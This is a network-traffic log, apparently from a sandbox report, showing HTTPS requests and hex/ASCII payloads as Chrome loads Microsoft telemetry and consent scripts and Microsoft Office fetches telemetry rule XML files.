2024-11-30 03:12:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49803	13.107.246.63	443	6288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:44 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 03:12:44 UTC	896	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:44 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241130T031244Z-174f78459684db9fhC1EWRc7g400000000u000000000cpet x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-30 03:12:44 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:44 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031244Z-174f7845968glpgnhC1EWR7uec000000112g0000000038ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: fd79bfa2-c01e-0079-5434-41e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031244Z-174f7845968cpnpfhC1EWR3afc00000010eg00000000azv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49806	13.107.246.63	443	6288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:44 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 03:12:45 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:44 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 29230 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5ac760eb-e01e-0001-4f91-429f03000000 x-ms-version: 2009-09-19 x-azure-ref: 20241130T031244Z-174f7845968pf68xhC1EWRr4h8000000111000000000drr1 Accept-Ranges: bytes
2024-11-30 03:12:45 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
